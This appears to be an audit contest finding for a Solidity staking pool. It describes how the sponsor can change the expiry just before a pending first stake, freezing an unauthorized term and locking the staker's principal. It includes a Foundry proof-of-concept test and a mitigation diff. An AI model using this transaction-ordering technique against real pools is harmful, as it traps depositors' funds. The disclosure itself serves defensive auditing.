FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

The sponsor can substitute the first staker's expiry and lock their principal beyond the accepted term

Author Revealed upon completion
## Description
The protocol intentionally allows the pool sponsor to change `expiry` until the first successful
stake. The first stake is meant to freeze that value and protect staker reliance. However,
`stake(uint256 amount)` binds only the token amount; it carries no `expectedExpiry` or execution
deadline.
A staker can therefore inspect a pool with a 31-day expiry and submit the first stake, while the
sponsor places `setExpiry(type(uint32).max)` before it. The unchanged stake reads only the new live
value, succeeds, and sets `expiryLocked = true`, permanently freezing the sponsor's substituted
term rather than the term the staker accepted.
If the agreement is already `UNDER_ATTACK` when the stake executes, the same transaction records
the risk window. `withdraw()` then reverts for the rest of the pool lifecycle. When the originally
advertised deadline arrives, `claimExpired()` also reverts because it compares the timestamp to the
substituted expiry. The victim's complete principal remains in the pool.
The finding is not that the sponsor has disclosed pre-stake expiry authority. The defect is that
the transaction which ends that authority has no caller-supplied bound on the value being frozen.
Reading `expiry` before submission cannot protect a pending transaction from sponsor ordering.
## Root + Impact
The vulnerable interaction is shown below. `@>` annotations identify the relevant operations.
```solidity
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
// @> Uses only the mutable storage value. The caller cannot bind the expiry they inspected.
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
// @> The first stake freezes whichever expiry the sponsor placed in storage immediately before it.
if (!expiryLocked) {
expiryLocked = true;
}
// transfer and stake accounting ...
}
function setExpiry(uint256 newExpiry) external onlyOwner {
// @> Sponsor authority remains open until the pending first stake actually lands.
if (expiryLocked) revert ExpiryLocked();
if (newExpiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (newExpiry > type(uint32).max) revert ExpiryTooFar();
// @> The replacement does not invalidate already-submitted stake(amount) calldata.
expiry = uint32(newExpiry);
}
function withdraw() external nonReentrant {
IAttackRegistry.ContractState state = _observePoolState();
// @> Once the sandwiched stake observes UNDER_ATTACK, the victim cannot undo the deposit.
if (
riskWindowStart != 0
|| (state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
&& state != IAttackRegistry.ContractState.ATTACK_REQUESTED)
) {
revert WithdrawsDisabled();
}
// ...
}
function claimExpired() external nonReentrant {
// @> The victim's advertised deadline is irrelevant after the sponsor substitution.
if (block.timestamp < expiry) revert PoolNotExpired();
// ...
}
```
The sponsor does not need to bypass `expiryLocked`; it wins the ordering race immediately before
the call that sets it. The resulting lock affects 100% of the first staker's principal. No token
irregularity, reentrancy, compromised moderator, or invalid registry transition is required.
## Impact
High. The complete first deposit can become non-withdrawable and remain unclaimable at the
deadline the staker inspected. The sponsor can replace an advertised 31-day expiry with any valid
value through `type(uint32).max`, extending the mechanical settlement date to February 2106. A
later terminal registry outcome may release or redirect the funds before then, so this is not a
guaranteed permanent loss, but the staker loses control of its full principal for a term it never
authorized on-chain.
## Likelihood
Low. The sponsor must order `setExpiry` before a pending first stake, because any earlier
successful stake permanently closes the mutation window. To make the deposit immediately
non-withdrawable, the stake must also execute while the agreement is in `UNDER_ATTACK`, the only
withdraw-disabled registry state in which new stake is accepted. The sequence is nevertheless realistic: `setExpiry` is an intended
sponsor capability, `UNDER_ATTACK` deposits are accepted, and the pending `stake` calldata contains
nothing that causes it to fail after the term changes.
## Risk
**Medium severity (High impact × Low likelihood).**
- **Concrete impact:** the PoC changes a term from 31 days to `uint32.max`, makes all 100 deposited
tokens non-withdrawable, and proves they remain unclaimable at the inspected deadline.
- **Concrete likelihood:** exploitation is limited to the first successful stake and requires
sponsor transaction ordering plus a withdrawal-disabled live registry state. These conditions
are observable and narrow, but both are supported protocol operations.
- **No immediate extraction:** the sponsor does not receive the victim's tokens through this
sequence, and a later PRODUCTION/CORRUPTED resolution may end the lock early. These constraints
keep the issue below High severity.
- **Why the sponsor trust model does not eliminate it:** the sponsor's right to change an unfunded
pool is disclosed, but no documented authority permits silently changing the term of a pending
deposit. The contract tells users to inspect parameters yet provides no way to bind that
inspection to execution.
## Proof of Concept
Save the following test as `test/FirstStakeExpirySubstitutionPoC.t.sol` in the repository:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract FirstStakeTermSlippagePoC is BaseConfidencePoolTest {
function test_PoC_SponsorChangesExpiryAheadOfFirstStakeAndLocksVictimInActiveRisk() external {
uint256 advertisedExpiry = pool.expiry();
// UNDER_ATTACK is a live protocol precondition. The victim accepts that risk state but
// prepares the first deposit against the currently advertised 31-day pool term.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
token.mint(alice, 100 * ONE);
vm.prank(alice);
token.approve(address(pool), 100 * ONE);
// The test contract is the pool sponsor/owner in BaseConfidencePoolTest. Its expiry
// replacement is ordered immediately before Alice's unchanged pending stake.
pool.setExpiry(type(uint32).max);
vm.prank(alice);
pool.stake(100 * ONE);
assertEq(pool.expiry(), type(uint32).max);
assertTrue(pool.expiryLocked());
assertEq(pool.eligibleStake(alice), 100 * ONE);
// The successful stake observed active risk, so Alice cannot reverse the deposit.
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
// The original 31-day deadline no longer enables settlement.
vm.warp(advertisedExpiry);
vm.prank(alice);
vm.expectRevert(IConfidencePool.PoolNotExpired.selector);
pool.claimExpired();
assertEq(token.balanceOf(address(pool)), 100 * ONE);
assertEq(pool.eligibleStake(alice), 100 * ONE);
}
}
```
## Recommended Mitigation
Require the depositor to bind the exact expiry they inspected, and preferably a transaction
deadline, in `stake` calldata. A deadline alone is insufficient because the sponsor can substitute
the expiry immediately within that deadline.
```diff
diff --git a/src/interfaces/IConfidencePool.sol b/src/interfaces/IConfidencePool.sol
@@
+ error UnexpectedExpiry(uint32 expected, uint32 actual);
+ error StakeDeadlineExpired();
@@
- function stake(uint256 amount) external;
+ function stake(uint256 amount, uint32 expectedExpiry, uint256 deadline) external;
diff --git a/src/ConfidencePool.sol b/src/ConfidencePool.sol
@@
- function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
+ function stake(uint256 amount, uint32 expectedExpiry, uint256 deadline)
+ external
+ nonReentrant
+ whenPoolNotPaused
+ {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
+ if (block.timestamp > deadline) revert StakeDeadlineExpired();
+ if (expiry != expectedExpiry) revert UnexpectedExpiry(expectedExpiry, expiry);
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
```
With this change, a sponsor-ordered expiry update makes the pending stake revert instead of
freezing an unauthorized term. If pre-first-stake mutability is not essential, the simpler and
stronger alternative is to make `expiry` immutable at pool creation.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!